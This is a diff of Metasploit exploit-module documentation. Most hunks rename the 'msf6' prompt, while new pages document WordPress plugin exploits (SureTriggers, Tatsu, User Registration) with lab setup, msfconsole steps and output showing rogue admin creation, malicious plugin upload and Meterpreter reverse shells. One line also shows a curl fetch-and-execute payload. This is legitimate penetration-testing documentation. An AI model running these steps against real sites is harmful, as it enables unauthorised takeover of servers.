exploit(multi/http/wp_responsive_thumbnail_slider_upload) > check + msf exploit(multi/http/wp_responsive_thumbnail_slider_upload) > check [*] 192.168.37.165:80 The target service is running, but could not be validated. - msf5 exploit(multi/http/wp_responsive_thumbnail_slider_upload) > run + msf exploit(multi/http/wp_responsive_thumbnail_slider_upload) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] WordPress accessed diff --git a/documentation/modules/exploit/multi/http/wp_royal_elementor_addons_rce.md b/documentation/modules/exploit/multi/http/wp_royal_elementor_addons_rce.md index 7d69a9961a7ba..8caa5f72dfd6a 100644 --- a/documentation/modules/exploit/multi/http/wp_royal_elementor_addons_rce.md +++ b/documentation/modules/exploit/multi/http/wp_royal_elementor_addons_rce.md @@ -64,7 +64,7 @@ exploit With `cmd/linux/http/x64/meterpreter/reverse_tcp`: ``` -msf6 > search royal +msf > search royal Matching Modules ================ @@ -76,9 +76,9 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/wp_royal_elementor_addons_rce -msf6 > use 0 +msf > use 0 [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > options +msf exploit(multi/http/wp_royal_elementor_addons_rce) > options Module options (exploit/multi/http/wp_royal_elementor_addons_rce): @@ -118,14 +118,14 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > set rhosts chocapikk.lab +msf exploit(multi/http/wp_royal_elementor_addons_rce) > set rhosts chocapikk.lab rhosts => chocapikk.lab -msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > set rport 8888 +msf exploit(multi/http/wp_royal_elementor_addons_rce) > set rport 8888 rport => 8888 -msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > set ssl false +msf exploit(multi/http/wp_royal_elementor_addons_rce) > set ssl false [!] Changing the SSL option's value may require changing RPORT! ssl => false -msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > exploit +msf exploit(multi/http/wp_royal_elementor_addons_rce) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -151,7 +151,7 @@ Meterpreter : x64/linux With `php/meterpreter/reverse_tcp`: ``` -msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > options +msf exploit(multi/http/wp_royal_elementor_addons_rce) > options Module options (exploit/multi/http/wp_royal_elementor_addons_rce): @@ -184,7 +184,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/http/wp_royal_elementor_addons_rce) > exploit +msf exploit(multi/http/wp_royal_elementor_addons_rce) > exploit [*] Started reverse TCP handler on 192.168.1.5:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wp_simple_file_list_rce.md b/documentation/modules/exploit/multi/http/wp_simple_file_list_rce.md index b44b4028b15f5..f7f871f58eb80 100644 --- a/documentation/modules/exploit/multi/http/wp_simple_file_list_rce.md +++ b/documentation/modules/exploit/multi/http/wp_simple_file_list_rce.md @@ -27,13 +27,13 @@ Install and enable the plugin, no additional configuration is required. ### Simple File List 4.2.2 on Wordpress 5.5.3 on Debian 10.6 ``` -msf6 > use exploit/multi/http/wp_simple_file_list_rce +msf > use exploit/multi/http/wp_simple_file_list_rce [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(multi/http/wp_simple_file_list_rce) > set rhosts 2.2.2.2 +msf exploit(multi/http/wp_simple_file_list_rce) > set rhosts 2.2.2.2 rhosts => 2.2.2.2 -msf6 exploit(multi/http/wp_simple_file_list_rce) > set lhost 1.1.1.1 +msf exploit(multi/http/wp_simple_file_list_rce) > set lhost 1.1.1.1 lhost => 1.1.1.1 -msf6 exploit(multi/http/wp_simple_file_list_rce) > exploit +msf exploit(multi/http/wp_simple_file_list_rce) > exploit [*] Started reverse TCP handler on 1.1.1.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md b/documentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md new file mode 100644 index 0000000000000..d3cd456b14ffd --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_suretriggers_auth_bypass.md @@ -0,0 +1,241 @@ +## Vulnerable Application + +This Metasploit module exploits administrative user creation vulnerabilities in the +WordPress SureTriggers/OttoKit plugin: + +* **CVE-2025-3102** (≤ 1.0.78): unauthenticated admin creation via the `automation/action` +REST endpoint with an empty `St-Authorization: Bearer` header. +* **CVE-2025-27007** (≤ 1.0.82): unauthenticated reset of the access key via the `connection/create-wp-connection` endpoint, +followed by admin creation using `St-Authorization: Bearer `. + +### To replicate vulnerable environments + +1. **SureTriggers v1.0.78 (CVE-2025-3102)** + + * Download & install plugin v1.0.78: + `https://downloads.wordpress.org/plugin/suretriggers.1.0.78.zip` + * No additional setup is required; the bypass works immediately upon activation. + +2. **SureTriggers v1.0.82 (CVE-2025-27007)** + + * Download & install plugin v1.0.82: + `https://downloads.wordpress.org/plugin/suretriggers.1.0.82.zip` + * No secret key is needed; the exploit will reset it to the specified value. + +Both scenarios can be deployed via Docker Compose. + +## Docker Compose Configuration + +```yaml +services: + + wordpress: + image: wordpress:6.3.2 + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_ROOT_PASSWORD: dummy_password + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +Create a `custom.ini` file with: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +``` + +## Verification Steps + +1. Start the environment: + +```bash +docker-compose up -d +``` +2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555). +3. Confirm the targeted SureTriggers version is active under **Plugins**. +4. In `msfconsole`: + +```bash +use exploit/multi/http/wp_suretriggers_auth_bypass +set RHOSTS 127.0.0.1 +set TARGETURI / +set WP_USER eviladmin +set WP_PASS Str0ngP@ss! +set WP_EMAIL eviladmin@example.com +``` + +## Options + +* **WP_USER**, **WP_PASS**, **WP_EMAIL**: New administrator credentials (random by default). +* **ST_AUTH**: *(Optional)* Value for `St-Authorization` header (used by CVE-2025-3102; default empty). +* **ACCESS_KEY**: *(Optional)* Key to reset for CVE-2025-27007 (random by default). +* **ACTION**: Exploit to perform: + + * `CVE-2025-3102` + * `CVE-2025-27007` + +## Scenarios + +### CVE-2025-3102: Empty Bearer Admin Creation + +1. Ensure SureTriggers v1.0.78 is active. +2. In `msfconsole`, set: + +```bash +set ACTION CVE-2025-3102 +``` +3. Run the module: it will send an empty `St-Authorization: Bearer ` header to `/wp-json/sure-triggers/v1/automation/action`. +4. New administrator is created; payload is uploaded and executed. + +### CVE-2025-27007: Reset Access Key & Admin Creation + +1. Ensure SureTriggers v1.0.82 is active. +2. In `msfconsole`, set: + +```bash +set ACTION CVE-2025-27007 +``` +3. Run the module: it will call `/wp-json/sure-triggers/v1/connection/create-wp-connection` to reset the key, then use + `St-Authorization: Bearer mynewkey123` against `/wp-json/sure-triggers/v1/automation/action`. +4. New administrator is created; payload is uploaded and executed. + + +### Expected Results (CVE-2025-3102) + +With `php/meterpreter/reverse_tcp`: + +```plaintext +msf exploit(multi/http/wp_suretriggers_auth_bypass) > set action CVE-2025-3102 +action => CVE-2025-3102 +msf exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected WordPress version: 6.8.1 +[+] The target appears to be vulnerable. Detected suretriggers 1.0.78 vulnerable to CVE-2025-3102 +[+] Admin created: warner:Q0bTyYI43H8g +[*] Uploading malicious plugin for code execution... +[*] Executing payload at /wp-content/plugins/wp_hkc1z/ajax_kq8xu.php... +[*] Sending stage (40004 bytes) to 172.27.0.3 +[+] Deleted ajax_kq8xu.php +[+] Deleted wp_hkc1z.php +[+] Deleted ../wp_hkc1z +[*] Meterpreter session 6 opened (192.168.1.36:4444 -> 172.27.0.3:43702) at 2025-05-21 19:35:49 +0200 + +meterpreter > sysinfo +Computer : 396e678f2510 +OS : Linux 396e678f2510 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64 +Meterpreter : php/linux +``` + +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +```plaintext +msf exploit(multi/http/wp_suretriggers_auth_bypass) > set action CVE-2025-3102 +action => CVE-2025-3102 +msf exploit(multi/http/wp_suretriggers_auth_bypass) > set target 1 +target => 1 +msf exploit(multi/http/wp_suretriggers_auth_bypass) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected WordPress version: 6.8.1 +[+] The target appears to be vulnerable. Detected suretriggers 1.0.78 vulnerable to CVE-2025-3102 +[+] Admin created: warner:Q0bTyYI43H8g +[*] Uploading malicious plugin for code execution... +[*] Executing payload at /wp-content/plugins/wp_xtndd/ajax_bmjl3.php... +[*] Sending stage (3045380 bytes) to 172.27.0.3 +[+] Deleted ajax_bmjl3.php +[+] Deleted wp_xtndd.php +[+] Deleted ../wp_xtndd +[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 172.27.0.3:35176) at 2025-05-21 19:36:44 +0200 + +meterpreter > sysinfo +Computer : 172.27.0.3 +OS : Debian 12.10 (Linux 6.14.6-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` + +### Expected Results (CVE-2025-27007) + +With `php/meterpreter/reverse_tcp`: + +```plaintext +msf exploit(multi/http/wp_suretriggers_auth_bypass) > set action CVE-2025-27007 +action => CVE-2025-27007 +msf exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected WordPress version: 6.8.1 +[+] The target appears to be vulnerable. Detected suretriggers 1.0.82 vulnerable to CVE-2025-27007 +[*] Resetting access key +[+] Access key reset successful +[+] Admin created: warner:Q0bTyYI43H8g +[*] Uploading malicious plugin for code execution... +[*] Executing payload at /wp-content/plugins/wp_kbl7m/ajax_awg0f.php... +[*] Sending stage (40004 bytes) to 172.27.0.3 +[+] Deleted ajax_awg0f.php +[+] Deleted wp_kbl7m.php +[+] Deleted ../wp_kbl7m +[*] Meterpreter session 4 opened (192.168.1.36:4444 -> 172.27.0.3:52622) at 2025-05-21 19:31:04 +0200 + +meterpreter > sysinfo +Computer : 396e678f2510 +OS : Linux 396e678f2510 6.14.6-2-cachyos #1 SMP PREEMPT_DYNAMIC Sat, 10 May 2025 20:09:10 +0000 x86_64 +Meterpreter : php/linux +``` + +With `cmd/linux/http/x64/meterpreter/reverse_tcp`: + +```plaintext +msf exploit(multi/http/wp_suretriggers_auth_bypass) > set target 1 +target => 1 +msf exploit(multi/http/wp_suretriggers_auth_bypass) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +payload => cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/wp_suretriggers_auth_bypass) > run http://lab:5555 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected WordPress version: 6.8.1 +[+] The target appears to be vulnerable. Detected suretriggers 1.0.82 vulnerable to CVE-2025-27007 +[*] Resetting access key +[+] Access key reset successful +[+] Admin created: warner:Q0bTyYI43H8g +[*] Uploading malicious plugin for code execution... +[*] Executing payload at /wp-content/plugins/wp_uozfu/ajax_cqg9q.php... +[*] Sending stage (3045380 bytes) to 172.27.0.3 +[+] Deleted ajax_cqg9q.php +[+] Deleted wp_uozfu.php +[+] Deleted ../wp_uozfu +[*] Meterpreter session 5 opened (192.168.1.36:4444 -> 172.27.0.3:56038) at 2025-05-21 19:33:42 +0200 + +meterpreter > sysinfo +Computer : 172.27.0.3 +OS : Debian 12.10 (Linux 6.14.6-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/documentation/modules/exploit/multi/http/wp_tatsu_rce.md b/documentation/modules/exploit/multi/http/wp_tatsu_rce.md new file mode 100644 index 0000000000000..c678174d43b94 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_tatsu_rce.md @@ -0,0 +1,76 @@ +## Vulnerable Application + +This module exploits unauthenticated remote code execution in Tatsu plugin for Wordpress. The vulnerable version is below 3.3.11. +The module upload malicious zip file containing PHP payload, which gets parsed and unzipped into Wordpress upload directory. +Then module will trigger the payload by sending request with payload directory as URI. +The vulnerable plugin is available [here](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip) + +## Verification Steps + + +1. Install the application +1.1 Create `docker-compose.yml` +```yaml +services: + + wordpress: + image: wordpress:6.3.2 + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: ms + WORDPRESS_DB_PASSWORD: supersecret + WORDPRESS_DB_NAME: proof_of_concept + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: proof_of_concept + MYSQL_USER: ms + MYSQL_PASSWORD: supersecret + MYSQL_ROOT_PASSWORD: supersecret + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: + +``` +1.2 Download [plugin](https://tatsubuilder.com/wp-content/uploads/edd/2022/03/tatsu-3.3.11.zip) +1.3 Install the plugin in Wordpress admin portal + +2. `msfconsole` +3. `use multi/http/wp_tatsu_rce` +4. `set RHOST [target IP]` +5. `set RPORT [target PORT]` +6. `set LHOST [attacker's IP]` +7. `set LPORT [attacker's port]` + +## Options + + +## Scenarios + + +Vulnerable version is <= 3.3.11. + +``` +`msf exploit(multi/http/wp_tatsu_rce) > run +[*] Started reverse TCP handler on 192.168.168.128:4444 +[*] Sending stage (40004 bytes) to 172.18.0.2 +[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 172.18.0.2:37718) at 2025-06-11 18:59:35 +0200 +[*] Starting interaction with 2... + +meterpreter > sysinfo +Computer : ff0d55ec29bf +OS : Linux ff0d55ec29bf 6.12.10-76061203-generic #202412060638~1748542656~22.04~663e4dc SMP PREEMPT_DYNAMIC Thu M x86_64 +Meterpreter : php/linux +meterpreter > +``` diff --git a/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md b/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md index 5ac807aa079f9..b1015c19cd851 100644 --- a/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md +++ b/documentation/modules/exploit/multi/http/wp_time_capsule_file_upload_rce.md @@ -100,7 +100,7 @@ exploit With `php/meterpreter/reverse_tcp`: ```plaintext -msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 +msf exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) @@ -123,7 +123,7 @@ Meterpreter : php/linux With `cmd/linux/http/x64/meterpreter/reverse_tcp`: ```plaintext -msf6 exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 +msf exploit(multi/http/wp_time_capsule_file_upload_rce) > run http://172.18.0.3 [*] Command to run on remote host: curl -so ./EHsooyPGi http://192.168.1.36:8080/LoPlnjEpeOexZNVppn6cAA; chmod +x ./EHsooyPGi; ./EHsooyPGi & [*] Fetch handler listening on 192.168.1.36:8080 diff --git a/documentation/modules/exploit/multi/http/wp_user_registration_membership_escalation.md b/documentation/modules/exploit/multi/http/wp_user_registration_membership_escalation.md new file mode 100644 index 0000000000000..7405ee2775673 --- /dev/null +++ b/documentation/modules/exploit/multi/http/wp_user_registration_membership_escalation.md @@ -0,0 +1,183 @@ +## Vulnerable Application + +This Metasploit module exploits an unauthenticated privilege escalation in the +WordPress User Registration & Membership plugin (Free ≤ 4.1.2, Pro ≤ 5.1.2) (CVE-2025-2563). +When the Membership Addon is enabled, the plugin fails to prevent users from setting their +own account role, allowing anyone to escalate to administrator. + +To replicate a vulnerable environment for testing: + +1. Install WordPress using the provided Docker Compose configuration. +2. Download and install the User Registration plugin v4.1.1 (Free): + [https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip](https://downloads.wordpress.org/plugin/user-registration.4.1.1.zip) +3. Activate the plugin and enable the **Membership** Addon under: + `/wp-admin/admin.php?page=user-registration-dashboard#features`. +4. No further configuration is required; vulnerability is present when the addon is active. + - Permalinks must be enabled. + +## Docker Compose Configuration + +```yaml +services: + + wordpress: + image: wordpress:6.3.2 + restart: always + ports: + - 5555:80 + environment: + WORDPRESS_DB_HOST: db + WORDPRESS_DB_USER: chocapikk + WORDPRESS_DB_PASSWORD: dummy_password + WORDPRESS_DB_NAME: exploit_market + volumes: + - wordpress:/var/www/html + - ./custom.ini:/usr/local/etc/php/conf.d/custom.ini + + db: + image: mysql:5.7 + restart: always + environment: + MYSQL_DATABASE: exploit_market + MYSQL_USER: chocapikk + MYSQL_PASSWORD: dummy_password + MYSQL_ROOT_PASSWORD: dummy_password + volumes: + - db:/var/lib/mysql + +volumes: + wordpress: + db: +``` + +Create a `custom.ini` file with: + +```ini +upload_max_filesize = 64M +post_max_size = 64M +``` + +## Verification Steps + +1. Start the environment: + +```bash +docker-compose up -d +``` + +2. Complete WordPress setup at [http://localhost:5555](http://localhost:5555). +3. Confirm the User Registration v4.1.1 plugin is active under **Plugins**. +4. Enable the **Membership** Addon at `/wp-admin/admin.php?page=user-registration-dashboard#features`. +5. Launch `msfconsole`. +6. Load the module: + +```bash +use exploit/multi/http/wp_user_registration_membership_escalation +``` + +7. Set `RHOSTS` to the target IP, and configure credentials: + +```bash +set WP_USER eviluser +set WP_PASS Str0ngP@ss! +set WP_EMAIL eviluser@example.com +``` + +8. (Optional) Set `TARGETURI` if WordPress is installed in a subdirectory. +9. Run the exploit: + +```bash +run +``` + +## Options + +* **WP_USER**, **WP_PASS**, **WP_EMAIL**: Credentials for the new administrator account to be created. + +## Scenarios + +### Successful Exploitation + +**Setup:** + +* Local WordPress instance with User Registration v4.1.1 (Free) and Membership Addon enabled. +* Metasploit Framework + +**Steps:** + +1. Start `msfconsole`. +2. Load the module: +```bash +use exploit/multi/http/wp_user_registration_membership_escalation +``` +3. Configure options: +```bash +set RHOSTS 127.0.0.1 +set TARGETURI / +set WP_USER admin2 +set WP_PASS P@ssw0rd! +set WP_EMAIL admin2@example.com +run +``` + +**Expected Results (PHP payload):** + +```plaintext +msf exploit(multi/http/wp_user_registration_membership_escalation) > run http://lab:5555 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected WordPress version: 6.8.1 +[+] Detected user-registration version 4.1.1 +[+] The target appears to be vulnerable. +[*] Registering new user with free membership... +[+] User registered: eviluser +[*] Escalating to administrator... +[+] Administrator created: eviluser:Str0ngP@ss! +[*] Authenticating via wp-login.php… +[!] wp-login.php failed—trying plugin login page +[+] Authenticated via plugin login page +[*] Uploading malicious plugin... +[*] Executing payload at /wp-content/plugins/wp_rxrpu/ajax_1vxd2.php... +[*] Sending stage (40004 bytes) to 172.27.0.3 +[+] Deleted ajax_1vxd2.php +[+] Deleted wp_rxrpu.php +[+] Deleted ../wp_rxrpu +[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.27.0.3:41616) at 2025-05-09 16:55:20 +0200 + +meterpreter > sysinfo +Computer : 111d64934b4f +OS : Linux 111d64934b4f 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64 +Meterpreter : php/linux +``` + +**Expected Results (Command payload):** + +```plaintext +msf exploit(multi/http/wp_user_registration_membership_escalation) > run http://lab:5555 +[*] Started reverse TCP handler on 192.168.1.36:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected WordPress version: 6.8.1 +[+] Detected user-registration version 4.1.1 +[+] The target appears to be vulnerable. +[*] Registering new user with free membership... +[+] User registered: eviluser2 +[*] Escalating to administrator... +[+] Administrator created: eviluser2:Str0ngP@ss! +[*] Authenticating via wp-login.php… +[!] wp-login.php failed—trying plugin login page +[+] Authenticated via plugin login page +[*] Uploading malicious plugin... +[*] Executing payload at /wp-content/plugins/wp_mwtqu/ajax_nncym.php... +[*] Sending stage (3045380 bytes) to 172.27.0.3 +[+] Deleted ajax_nncym.php +[+] Deleted wp_mwtqu.php +[+] Deleted ../wp_mwtqu +[*] Meterpreter session 3 opened (192.168.1.36:4444 -> 172.27.0.3:59124) at 2025-05-09 16:56:39 +0200 + +meterpreter > sysinfo +Computer : 172.27.0.3 +OS : Debian 12.10 (Linux 6.14.2-2-cachyos) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +``` diff --git a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md index 19f7136e84a78..f981a3d02ad7a 100644 --- a/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md +++ b/documentation/modules/exploit/multi/http/wso2_api_manager_file_upload_rce.md @@ -31,7 +31,7 @@ docker-compose up ### WSO2 API Manager 4.0.0 ``` -msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit +msf exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit [*] Started reverse TCP handler on 0.0.0.0:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/http/wso2_file_upload_rce.md b/documentation/modules/exploit/multi/http/wso2_file_upload_rce.md index 2a801c91093ab..b772143674d77 100644 --- a/documentation/modules/exploit/multi/http/wso2_file_upload_rce.md +++ b/documentation/modules/exploit/multi/http/wso2_file_upload_rce.md @@ -29,15 +29,15 @@ Start the vulnerable application with `./wso2am-4.0.0/bin/api-manager.sh`. More ### WSO2 API Manager 4.0.0 on Ubuntu 20.04.1 ``` -msf6 > use multi/http/wso2_file_upload_rce +msf > use multi/http/wso2_file_upload_rce [*] Using configured payload java/meterpreter/reverse_tcp -msf6 exploit(multi/http/wso2_file_upload_rce) > set rhosts 172.16.199.173 +msf exploit(multi/http/wso2_file_upload_rce) > set rhosts 172.16.199.173 rhosts => 172.16.199.173 -msf6 exploit(multi/http/wso2_file_upload_rce) > set lhost 172.16.199.1 +msf exploit(multi/http/wso2_file_upload_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/http/wso2_file_upload_rce) > check +msf exploit(multi/http/wso2_file_upload_rce) > check [*] 172.16.199.173:9443 - The target appears to be vulnerable. -msf6 exploit(multi/http/wso2_file_upload_rce) > run +msf exploit(multi/http/wso2_file_upload_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Preparing payload... @@ -63,14 +63,14 @@ Meterpreter : java/linux ### WSO2 API Manager 3.0.0 on Ubuntu 20.04.1 ``` -msf6 > use multi/http/wso2_file_upload_rce -msf6 exploit(multi/http/wso2_file_upload_rce) > set rhosts 172.16.199.173 +msf > use multi/http/wso2_file_upload_rce +msf exploit(multi/http/wso2_file_upload_rce) > set rhosts 172.16.199.173 rhosts => 172.16.199.173 -msf6 exploit(multi/http/wso2_file_upload_rce) > set lhost 172.16.199.1 +msf exploit(multi/http/wso2_file_upload_rce) > set lhost 172.16.199.1 lhost => 172.16.199.1 -msf6 exploit(multi/http/wso2_file_upload_rce) > check +msf exploit(multi/http/wso2_file_upload_rce) > check [*] 172.16.199.173:9443 - The target appears to be vulnerable. -msf6 exploit(multi/http/wso2_file_upload_rce) > run +msf exploit(multi/http/wso2_file_upload_rce) > run [*] Started reverse TCP handler on 172.16.199.1:4444 [*] Preparing payload... diff --git a/documentation/modules/exploit/multi/http/zabbix_script_exec.md b/documentation/modules/exploit/multi/http/zabbix_script_exec.md index f1fdd7a0965e1..04b546e111930 100644 --- a/documentation/modules/exploit/multi/http/zabbix_script_exec.md +++ b/documentation/modules/exploit/multi/http/zabbix_script_exec.md @@ -58,15 +58,15 @@ This is also inside an host, in the `Encryption` tab. ### Zabbix server from [VMWare](#setup). ``` -msf6 > use exploit/multi/http/zabbix_script_exec +msf > use exploit/multi/http/zabbix_script_exec [*] Using configured payload linux/x86/meterpreter/reverse_tcp -msf6 exploit(multi/http/zabbix_script_exec) > set RHOSTS 192.168.0.130 +msf exploit(multi/http/zabbix_script_exec) > set RHOSTS 192.168.0.130 RHOSTS => 192.168.0.130 -msf6 exploit(multi/http/zabbix_script_exec) > set USE_ITEM true +msf exploit(multi/http/zabbix_script_exec) > set USE_ITEM true USE_ITEM => true -msf6 exploit(multi/http/zabbix_script_exec) > set LHOST eth0 +msf exploit(multi/http/zabbix_script_exec) > set LHOST eth0 LHOST => 192.168.0.129 -msf6 exploit(multi/http/zabbix_script_exec) > run +msf exploit(multi/http/zabbix_script_exec) > run [*] Started reverse TCP handler on 192.168.0.129:4444 [+] Successfully logged in [*] Getting a valid group id... diff --git a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md index 824a18e9d9ec7..6acda0cc1d18d 100644 --- a/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md +++ b/documentation/modules/exploit/multi/iiop/cve_2023_21839_weblogic_rce.md @@ -52,7 +52,7 @@ The IP address where where the LDAP server will be listening. ### Oracle Weblogic 12.2.1.3 with Java 1.8.0_151-b12 - Docker Image ``` -msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > show options +msf exploit(multi/iiop/cve_2023_21839_weblogic_rce) > show options Module options (exploit/multi/iiop/cve_2023_21839_weblogic_rce): @@ -84,9 +84,9 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > check +msf exploit(multi/iiop/cve_2023_21839_weblogic_rce) > check [+] 127.0.0.1:7001 - The target is vulnerable. Target is a Oracle WebServer 12.2.1.3 server, and is vulnerable! -msf6 exploit(multi/iiop/cve_2023_21839_weblogic_rce) > exploit +msf exploit(multi/iiop/cve_2023_21839_weblogic_rce) > exploit [*] Started reverse TCP handler on 192.168.204.149:4444 [*] 127.0.0.1:7001 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/multi/kubernetes/exec.md b/documentation/modules/exploit/multi/kubernetes/exec.md index 7b713def44e81..2b234c6ed1d45 100644 --- a/documentation/modules/exploit/multi/kubernetes/exec.md +++ b/documentation/modules/exploit/multi/kubernetes/exec.md @@ -68,19 +68,19 @@ In this scenario, Metasploit has direct access to the Kubernetes API. A known to within the `thinkphp-67f7c88cc9-tgpfh` pod. ``` -msf6 > use exploit/multi/kubernetes/exec +msf > use exploit/multi/kubernetes/exec [*] Using configured payload python/meterpreter/reverse_tcp -msf6 exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1... +msf exploit(multi/kubernetes/exec) > set TOKEN eyJhbGciOiJSUzI1... TOKEN => eyJhbGciOiJSUzI1... -msf6 exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh +msf exploit(multi/kubernetes/exec) > set POD thinkphp-67f7c88cc9-tgpfh POD => thinkphp-67f7c88cc9-tgpfh -msf6 exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31 +msf exploit(multi/kubernetes/exec) > set RHOSTS 192.168.159.31 RHOSTS => 192.168.159.31 -msf6 exploit(multi/kubernetes/exec) > set TARGET Python +msf exploit(multi/kubernetes/exec) > set TARGET Python TARGET => Python -msf6 exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp +msf exploit(multi/kubernetes/exec) > set PAYLOAD python/meterpreter/reverse_tcp PAYLOAD => python/meterpreter/reverse_tcp -msf6 exploit(multi/kubernetes/exec) > run +msf exploit(multi/kubernetes/exec) > run [*] Started reverse TCP handler on 192.168.159.128:4444 [*] Sending stage (39736 bytes) to 192.168.159.31 @@ -95,16 +95,16 @@ Architecture : x64 Meterpreter : python/linux meterpreter > background [*] Backgrounding session 1... -msf6 exploit(multi/kubernetes/exec) > +msf exploit(multi/kubernetes/exec) > ``` Next, the compromised session is used to access the internal Kubernetes endpoint, create a new pod and open a shell directly via a WebSocket. ``` -msf6 exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket +msf exploit(multi/kubernetes/exec) > set TARGET Interactive\ WebSocket TARGET => Interactive WebSocket -msf6 exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1 +msf exploit(multi/kubernetes/exec) > run RHOST="" RPORT="" POD="" SESSION=-1 [*] Routing traffic through session: 1 [+] Kubernetes service host: 10.96.0.1:443 diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md index eb59802c5bcee..77bca238be014 100644 --- a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md +++ b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md @@ -42,13 +42,13 @@ Config file location on target. Defaults to empty which will search the default Get a user shell. 